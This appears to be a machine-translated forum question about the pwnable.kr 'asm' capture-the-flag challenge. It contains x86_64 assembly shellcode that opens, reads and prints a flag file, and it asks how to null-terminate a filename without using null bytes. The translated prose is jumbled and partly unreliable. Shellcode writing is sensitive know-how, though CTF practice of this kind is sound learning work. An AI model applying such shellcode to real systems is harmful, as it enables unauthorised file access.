私はシェルコードを書く必要があるpwnable.kr(toddlers bottle、asm)からCTFタスクを解決しようとしています。フラグ)。次のようにシェルコードの文字列を扱う
私のコードは次のとおりです。0で除算
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
が実行を停止し、call shellcode
長い文字列がフラグを含むファイルの名前であるとのループを回避することです。
私はここでレジスタに文字列のアドレスをpopingとトリックが見つかりました:Linux Shellcode "Hello, World!"
私の問題は、次のとおりです。ファイル名がnullで終了ではありません。したがって、sys_openが呼び出されると、ファイル名には実際の文字列の後にゴミ箱が含まれます。
私は次のようにいろいろ書いをやってみました:それは問題ですので(シェルコードは、標準入力から読み込まれます手動でNULLを挿入するためにRDIに飛び出る後
xor al, al
mov byte [rdi + 464], al
、私はバイトコードからNULLを取り除くことはできません)。
これに対処する最良の方法は何ですか?
アーキテクチャ:x86_64の0バイトのないコードを書くための